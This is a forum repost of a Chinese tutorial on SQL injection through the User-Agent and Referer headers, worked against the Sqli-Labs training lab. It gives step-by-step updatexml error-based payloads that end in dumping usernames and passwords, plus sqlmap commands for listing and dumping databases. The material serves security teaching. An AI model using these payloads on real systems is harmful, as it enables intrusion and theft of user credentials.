平果儿 發表於 2023-5-29 00:00:00

图文详解HTTP头中的SQL注入

<div id="navCategory"><h5 class="catalogue">目录</h5><ul class="first_class_ul"><li>
        1.HTTP头中的注入介绍</li><li>
        2.HTTP User-Agent注入</li><li>
        3.HTTP Referer注入</li><li>
        4.sqlmap安全测试</li><li>
        5.HTTP头部详解</li><li>
        总结</li></ul></div><div id="navCategory">
        <h5 class="catalogue">
                目录</h5>
        <ul class="first_class_ul">
<li>
                        1.HTTP头中的注入介绍</li>
                <li>
                        2.HTTP User-Agent注入</li>
                <li>
                        3.HTTP Referer注入</li>
                <li>
                        4.sqlmap安全测试</li>
                <li>
                        5.HTTP头部详解</li>
                <li>
                        总结</li>
        </ul>
</div>
<p>
        HTTP头中的SQL注入</p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        1.HTTP头中的注入介绍</h2>
<p>
        在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。</p>
<p>
        过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。<br>
        例如HTTP头中的User-Agent、Referer、Cookies等。</p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        2.HTTP User-Agent注入</h2>
<p>
        就拿<code>Sqli-Lab-Less18</code></p>
<p>
        这里的<code>User-Agent</code>是可控的,因此存在<code>HTTP User-Agent</code>注入</p>
<div>
        <pre>
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ("$uagent", "$IP", $uname)
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/1bf59e6833ca12cee47d5a67ddf5488f.jpg"></p>
<p>
        Payload内容:</p>
<div>
        <pre>
updatexml(xml_document,xpath_string,new_value):
</pre>
</div>
<p>
        <span>第一个参数:</span><code>XML</code><span>文档对象名称。</span></p>
<p>
        第二个参数:<code>XPath</code>字符串。</p>
<p>
        第三个参数:替换查找到的符合条件的数据。</p>
<p>
        <strong>1.查看版本</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/7446ad0c993f94bb7d8c3ec8cfa0f44e.jpg"></p>
<p>
        <strong>2.查看数据库</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select database()),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/9c9aa2c79f86f5daaa301d4ff51b5e45.jpg"></p>
<p>
        <strong>3.得到数据库<code>security</code>,获取数据表</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/dbd9beb0ccd5fe8dfb0912af87f09e72.jpg"></p>
<p>
        <strong>4.得到数据表<code>emails,referers,uagents,users</code>,我们使用的是<code>users</code>表,获取字段名</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/95d900a89d87ff9484b200e829f070a5.jpg"></p>
<p>
        <strong>5.获取字段内容</strong></p>
<p>
        当我们使用下面的语句时,会报错<code>Subquery returns more than 1 ro</code></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/effd18e619ba7e181797ef7578608fa0.jpg"></p>
<p>
        返回的数据有多行,我们可以使用limit限制其只返回一条数据</p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/a1aeba5fe45e70d096f5733bdb8cc395.jpg"></p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        3.HTTP Referer注入</h2>
<p>
        以<code>Sqli-Lab19</code>为例</p>
<div>
        <pre>
" or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/c2155c3e3cf3f4d1af2476746f390535.jpg"></p>
<p>
        <strong>1.查看版本</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/6c269bd8cf25f531d9a0845396f302d5.jpg"></p>
<p>
        <strong>2.查看数据库</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select database()),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/3b48e839947140bc29385b618a125327.jpg"></p>
<p>
        <strong>3.得到数据库<code>security</code>,获取数据表</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/6a1e2bfadf7a1ee3c635827e94d90d72.jpg"></p>
<p>
        <strong>4.得到数据表<code>emails,referers,uagents,users</code>,我们使用的是<code>users</code>表,获取字段名</strong></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/a54e7b81806748224cafed78640cf224.jpg"></p>
<p>
        <strong>5.获取字段内容</strong></p>
<p>
        当我们使用下面的语句时,会报错<code>Subquery returns more than 1 row</code></p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/117e4e0cc41d13314c84b949b6546ebf.jpg"></p>
<p>
        返回的数据有多行,我们可以使用<code>limit</code>限制其只返回一条数据</p>
<div>
        <pre>
" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or "1"="1
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/f3d62b5b9935017369a4e2a6bb1fbd68.jpg"></p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        4.sqlmap安全测试</h2>
<p>
        抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)</p>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/3170b83796df1c35b0f103a183b66bf1.jpg"></p>
<p>
        <strong>1.爆破数据库</strong></p>
<div>
        <pre>
python2 sqlmap.py -r 1.txt --dbs
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/1f88559f81c1542820a508808606c483.jpg"></p>
<p>
        得到数据库信息</p>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/55f7361308e18efcfd3c603d91f713fd.jpg"></p>
<p>
        <strong>2.爆破数据表</strong></p>
<div>
        <pre>
python2 sqlmap.py -r 1.txt -D security --tables
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/8bb79eee443f343a89946163d8c9a404.jpg"></p>
<p>
        得到数据表的信息</p>
<p>
        <strong>3.爆破字段及内容</strong></p>
<div>
        <pre>
python2 sqlmap.py -r 1.txt -D security -T users --dump
</pre>
</div>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/d93c35e109489a5b56609b3a7f0e3f91.jpg"></p>
<p>
        得到数据内容</p>
<p>
        <img title="图文详解HTTP头中的SQL注入" alt="图文详解HTTP头中的SQL注入" src="https://zhuji.jb51.net/uploads/img/202305/28cf133a9535b940bc1cbbdcf9d48f72.jpg"></p>
<p>
        PS</p>
<p>
        1.<code>HTTP User-Agent注入</code>和<code>HTTP Referer注入</code>属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;</p>
<p>
        2.如果探测出是<code>HTTP</code>头注入,在使用<code>sqlmap</code>跑的过程中,在末尾加上星号(<code>*</code>),可以提高渗透测试的效率</p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        5.HTTP头部详解</h2>
<p>
        User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)</p>
<p>
        Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).</p>
<p>
        X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])</p>
<p>
        Clien-IP:同上,不做过多介绍.</p>
<p>
        Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.</p>
<p>
        Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).</p>
<p class="maodian">
         </p>
<p class="maodian"></p><h2>
        总结</h2>
<p>
        到此这篇关于HTTP头中SQL注入的文章就介绍到这了,更多相关HTTP头中SQL注入内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!</p>
<p>
        原文链接:https://blog.csdn.net/m_de_g/article/details/121747495</p>
頁: [1]
查看完整版本: 图文详解HTTP头中的SQL注入